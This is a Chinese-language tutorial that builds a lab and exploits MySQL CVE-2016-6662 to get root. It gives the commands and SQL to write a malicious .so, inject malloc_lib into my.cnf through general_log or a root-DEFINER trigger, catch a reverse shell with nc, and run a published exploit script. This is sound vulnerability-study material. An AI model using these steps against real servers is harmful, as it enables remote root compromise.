本文虽主要分析的是 CVE-2016-6662,但涉及层面不止 CVE-2016-6662 这个漏洞。
本文将一步步搭建复现靶机,并探讨与研究 mysql 的语句基础以及mysql语句的技巧和用法细节。
漏洞描述:
该漏洞允许攻击者注入恶意配置到 mysql配置文件 my.cnf中,导致可加载任意扩展库。当扩展库中存在恶意指令时即可getshell。
备注:
以下实验全程开启 SELinux
该漏洞在 SELinux 开启的状态下也可用哦~
实验系统为 Centos7
漏洞范围:
mysql <= 5.7.15
mysql <= 5.6.33
mysql <= 5.5.52
环境搭建
需要在 mysql官网 中 自行下载 符合版本的 mysql。
由于在Centos7上安装时默认的 yum源头是设置的 mysql5.7.30。我们不能使用 yum源安装,需要手动下载 源码,然后编译安装:
第一步、下载 mysql5.7.10 源码
进入 mysql 各种版本下载页面:
https://downloads.mysql.com/archives/community/
选择 mysql5.7.10,本实验以 5.7.10 作为例子。
下载时选择 源码方式,系统为 常规Linux,下载含有 Boost Headers 的源码包:
第二步、创建用户
在 Linux 中,mysql 不允许使用 root 账号 运行。必须添加一个低权用户运行 mysql服务
添加用户,并且不允许登录:
useradd -s /sbin/nologin mysql
第三步、解压 mysql 源码包
将下载好的 mysql 源码包放到你想放的路径。最好放到 /usr/local 下。
解压命令:
tar -xzvf xxxxxx.tar.gz
第四步、安装依赖包
由于源码编译 mysql 需要一些运行库、依赖包等东西。我们需要先自行下好:
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
第五步、编译安装
解压完成后,进入刚解压好的mysql 目录下,执行命令进行编译:
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost
命令运行完后,再进行安装:
make && make install
安装完成后,应该会有一个新文件夹 /usr/local/mysql。这个就是安装好的mysql 的文件夹了。
第六步、配置 mysql 配置文件
默认一般是没有自动创建 /etc/my.cnf 文件的。需要我们自己拷贝一份模板文件过去。
my.cnf 模板文件在 mysql 目录(这里往后讲的 mysql 目录都是指 安装完成后创建的 /usr/local/mysql)下的 support-files 文件夹里。
模板文件名为:
/usr/local/mysql/support-files/my-default.cnf
将其拷贝为 /etc/my.cnf
cp my-default.cnf /etc/my.cnf
我们还需要创建一个文件夹,供数据库文件存放。我直接在 mysql 目录创建了一个名为 data 的文件夹。将其作为 数据库文件存放路径:
mkdir /usr/local/mysql/data/
为保证权限,可以给它 777:
chmod 777 /usr/local/mysql/data/
将整个 mysql 目录所属归为 mysql 用户:
chown mysql:mysql /usr/local/mysql
配置 mysql 配置文件。在配置文件模板的基础上,修改三个重点配置:
basedir 设定为 mysql 目录
datadir 设定为 数据库文件存放目录
port 设定为 数据库监听端口
第七步、创建 mysql 服务
注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然创建服务的时候会报错
在 mysql 目录下 的 bin 目录,执行命令:
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
其中,user参数为 启动 mysql 的用户。我们使用我们刚刚创建好的低权限用户。
basedir 和 datadir 必须和配置文件 /etc/my.cnf 的值一致。不然也会报错
执行完后,将会在 mysql目录下的 support-files 文件夹看到 mysql.server 文件。
我们将 mysql.server 文件拷贝为 /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysqld
完成后,我们就可以使用命令:
/etc/init.d/mysqld restart
重启mysql 服务
原理介绍:
这个漏洞官方介绍网上很多。这里我就用大白话的方式来讲,并配合简单的示例来演示:
基本介绍
mysql 配置中在 [mysqld] 下有一个配置项。名为 malloc_lib。这个配置项可以加载任意位置的 so 文件,并执行。
然而执行 malloc_lib 指定的 so 文件的进程是 mysql_safe。这个进程是以 root 用户运行的:
但是由于是配置文件指定的 so 文件,mysql服务需要 重启 才会重新加载配置文件。所以最后需要将 mysql 重启才能完成整个攻击流程。
简单演示
我们需要下载好 大神写好的 c文件:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
修改攻击脚本:
由于是演示,就用本机。 mysql 配置文件就写默认的配置文件 /etc/my.cnf:
写入后保存退出。进行编译:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
将会生成一个 so文件:
配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:
malloc_lib=/tmp/mysql_hookandroot_lib.so
这里 malloc_lib 指定的就是刚刚生成好的恶意 so文件 路径
写入后保存退出。由于 poc 写的是 127.0.0.1,所以我们开启本机上对应的端口:
nc -lvp 6033
重启 mysql 服务:
/etc/init.d/mysqld restart
有个小小的报错,不过不要紧,我们已经getshell了:
后文的攻击大致流程就是这样子:
想办法修改配置文件,并加上一行配置,最后重启mysql服务
root权限 - 尝试手工
配置mysql环境
我们首先让 mysql 的 root 用户能够让外网登录,连入mysql,输入以下命令:
grant all privileges on *.* to 'root'@'%' identified by '123456'; flush privileges;
上传写入恶意 so文件
值得一提的是,mysql5.7.10 默认是开放 secure_file_priv 的
关于写入恶意 so文件,我们可以通过 python 并配合 mysql 的 dumpfile 语句。将文件的十六进制码进行写入。
python 文件转十六进制码:
import binascii f = open("mysql_hookandroot_lib.so", "rb") a = f.read() hexstr = binascii.b2a_hex(a) f.close() f = open("res.txt","w") f.write(hexstr) f.close()
得到一大串十六进制字符:
构造 mysql 语句:
注意:mysql写入十六进制码时,需要在字符前加一个 0x
select 0x一大串字符 into dumpfile "/tmp/cvetest.so"
关键点 - my.cnf 追加/新增配置
这个漏洞能够利用成功的最关键的一步,就是通过mysql的命令,修改 / 新增 my.cnf 配置。使其能够成功读取到 malloc_lib 配置项。
这里有几个坑点,一一列举:
(1)配置文件路径
mysql 中除了默认的 /etc/my.cnf。还有别的配置文件路径。并且是顺序读取的。放一张官网图:
https://dev.mysql.com/doc/refman/5.7/en/option-files.html
如图所示,不仅仅会读取 /etc/my.cnf文件,而且还会读取 $MYSQL_HOME/my.cnf,这个是指 mysql目录下的my.cnf。
为什么钟情于 mysql目录下的 my.cnf呢?因为 mysql目录,mysql用户99%的几率是可读写的。而别的目录可不可写就难说了。。
(2)outfile / dumpfile
正常情况下,谈到导出文件。第一反应就是使用 mysql 的语句:outfile、dumpfile。
可惜,这里有一个坑点。
我们来尝试用 mysql 的outfile 写一个 my.cnf 出来:
select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";
然后重启 mysql 的时候将会报错:
这是因为,我们通过 outfile / dumpfile 写出来的文件,权限是 rw rw rw。
在 mysql 中有个安全策略:如果配置文件的权限可被 其他用户 写,则将会忽略这个配置文件。
而通过 outfile 写出来的文件权限是 rw rw rw。不符合 mysql 的安全策略规则。
所以我们得另辟蹊径。
(3)general_log与配置文件格式
在mysql中想要写入文件,还有一个语句:general_log。
我们可以通过 general_log,写入 my.cnf 文件。
通过 general_log 写入的文件其他用户 无权限。
首先,先将 general_log 文件路径设置为 mysql目录下的 my.cnf 文件。即:/usr/local/mysql/my.cnf
set global general_log_file = "/usr/local/mysql/my.cnf";
开启 general_log:
set global general_log=on;
写入配置:
MySQL [(none)]> select " "> [mysqld] "> malloc_lib=/tmp/cvetest.so "> #";
写入成功后,查看文件权限:
查看内容,发现通过 general_log 新增写入文件的方式,会先写入 banner 信息,然后再写如具体日志。
由于 my.cnf 文件不是以 [] 开头。mysql 读取的时候会报错。也无法成功getshell:
(4)攻击条件
在测试的时候发现,general_log 对于已经存在的文件,将会追加。
而 my.cnf 中的配置。配置不正确 mysql 将会忽略配置。但是配置文件必须以 [] 开头。
得出攻击条件:
当 mysql 有已经创建好的 my.cnf 文件时,才可通过 general_log 对该文件追加配置。
我们创建好一个 /usr/loca/mysql/my.cnf。简单写一个配置:
[mysqld] secure_file_priv = NULL
将新的 my.cnf 所有权给 mysql:
chown mysql:mysql my.cnf
重启 mysql。然后我们像上面的(3)一样:修改 general_log 路径;开启 general_log;写入恶意配置项:
查看配置文件,由于之前已经写好了配置文件,所以现在 my.cnf 是以 [] 开头的:
尝试重启 mysql:
成功 getshell:
(5)/etc/my.cnf
在实际情况中,可能 mysql 的配置项就一个默认的 /etc/my.cnf。那我们可不可以通过 general_log 追加到 /etc/my.cnf 中呢?
答案是:看情况。。。
默认 /etc/my.cnf 的权限是 r rx r
如果这种情况设置 general_log ,则会报错:
mysql要写入的话,需要具有 写入 权限
现实中管理员错配权限也是经常发生的情况。
将 /etc/my.cnf 权限修改为 rw r r:
chmod 644 /etc/my.cnf
尝试写入:
成功写入:
重启后自然成功getshell:
非root权限 - 使用exp
配置mysql环境
按照网上的说法,其实不需要root用户,只需要一个具有 select,insert,create,file 权限的用户即可。
我们来创建一个用户,及其对应的数据库:
连入mysql,执行下面语句:
create database cvetest; grant file on *.* to 'cveuser'@'%' identified by '123456'; grant select,insert,create on cvetest.* to 'cveuser'@'%'; flush privileges;
将 /etc/my.cnf 权限设置为 600,所属用户为 mysql:
chmod 600 /etc/my.cnf chown mysql:mysql /etc/my.cnf
配置exp
首先我们需要先下载大佬写好的攻击脚本:一个python文件和一个c文件:
0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.pymysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
默认kali没有安装 mysql-connector,而大神写的脚本中用了这个库。
不安装的话将会报错:
ImportError: No module named mysql.connector
我们需要手动安装:
python -m pip install mysql-connector
由于python脚本中有些配置和我们实验环境不符,我们还需要手动修改一下:
(1)python - 将 trigger 触发器目录设置成实验靶机的 data 目录
首先需要知道靶机的 data 目录在哪。连入靶机的 mysql ,输入命令:
show variables like "%data%";
这里的 datadir 的值就是 mysql 服务的 data 目录路径。
修改 python 脚本:
(2)python - 修改恶意so文件导出路径
虽然脚本里说 /tmp 重启会丢失文件, /var/lib/mysql mysql 也有权限写入
但是实际上用的时候可能会报错,没有权限写入。
个人认为最好把路径改回成 /tmp
(3)c - 修反弹shell端口
编辑 c 文件,注意该文件需要和 python 文件放在同一目录下。
修改配置:
ATTACKERS_IP 设置为 攻击机ip
SHELL_PORT 设置为 攻击机接收反弹shell的端口
INJECTED_CONF 设置为 我们攻击时使用的 my.cnf 路径
运行 exp
直接运行 exp:
pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf
mysql触发器
我们来看看这个 exp 是如何实现 非 root 用户 却能够修改 general_log 配置 的:
找到关键SQL语句:
将其单独抽出来整理格式查看:
这是一个触发器
但是这不是直接执行的,而是通过 mysql 的 dumpfile 语句写入到文件里的:
为什么要用触发器呢?为什么要写入到文件中不直接执行呢?
带着这些疑问,我们来实践一下:
非 root 用户,无法直接 set global general_log
先说一个小细节:
select user() 和 select current_user() 的区别:
select current_user() 查询出来的用户才是真正的存在数据库里的用户格式。
尝试设置 general_log:
无权限。
触发器 - 以他人权限执行 SQL 语句
官网中对于触发器的格式描述:
官网链接在此:
https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html
大意是说, mysql的触发器可以通过设置 DEFINER 参数,以别的用户身份执行触发器的 SQL语句。
语句:
create definer='root'@'localhost' trigger test1 指定使用用户 'root'@'localhost'执行触 发器 test1 after INSERT 触发器在执行 INSERT 语句之后执行 on test1.t1 在哪个表上设置触发器 for each ROW 固定格式 BEGIN 固定格式,表示触发器要执行的SQL语句开始 select "1" into outfile "/tmp/1234567.txt"; 触发器要执行的SQL语句 END 固定格式,表示触发器要执行的SQL语句结束
但是并不是任何用户都能使用 root 用户身份去执行的。
想要以 root 身份执行触发器,创建者必须具有 super 权限:
备注:
delimiter | 表示暂时性设置 Mysql 每条语句的分隔符为 |,mysql语句分隔符默认是 ;。但是由于触发器中需要写入 sql语句,sql语句中有 ; 。会导致 sql语句提前结束。所以需要暂时性修改分隔符。
莫非到此就结束了?我们还有一计。
参考大神的脚本时,发现它将触发器写入到了一个文件中,这个文件路径也是我们用 exp 的时候需要修改的路径:
莫非 mysql 创建了触发器之后,将会以文件形式保存下来?
动手实验一探究竟。
我们直接使用 root 用户来创建触发器:
语句:
跟上面那个一样
create definer='root'@'localhost' trigger test1 after INSERT on test1.t1 for each ROW BEGIN select "1" into outfile "/tmp/1234567.txt"; end |
创建成功:
我们到 mysql 的数据库文件目录去看看:
如果不知道数据库文件目录在哪,在mysql终端中输入 :
show variables like "%datadir%";
默认情况下,数据库文件目录下,数据库文件夹名 和数据库名一致。我们找到我们的 test1数据库的目录,并 进入
注意:这里的数据库文件夹 mysql 用户都是可写的
发现真的多了两个 TRN文件,有用的文件就是和数据表名对应的 TRN文件:
查看内容:
也就是说,mysql 的触发器文件就是保存在数据库文件目录下的数据库文件夹中。文件名与表名对应。
exp 原理
根据上面实验,我们可以整理出 exp 的原理和流程了:
(1)首先连入 mysql 。连入账户不需要 root 用户,只要能 select,insert,create,file 即可
(2)将 恶意 so库 写入到文件夹中。这里最好写到 /tmp 目录下。也可尝试写入 mysql 数据库目录下
(3)创建一个新表,为后面触发器做准备
(4)将触发器的配置写入到触发器文件中,触发器的配置为通过 general_log 对 my.cnf 文件进行配置追加
(5)对表进行操作,使其执行触发器
Referer: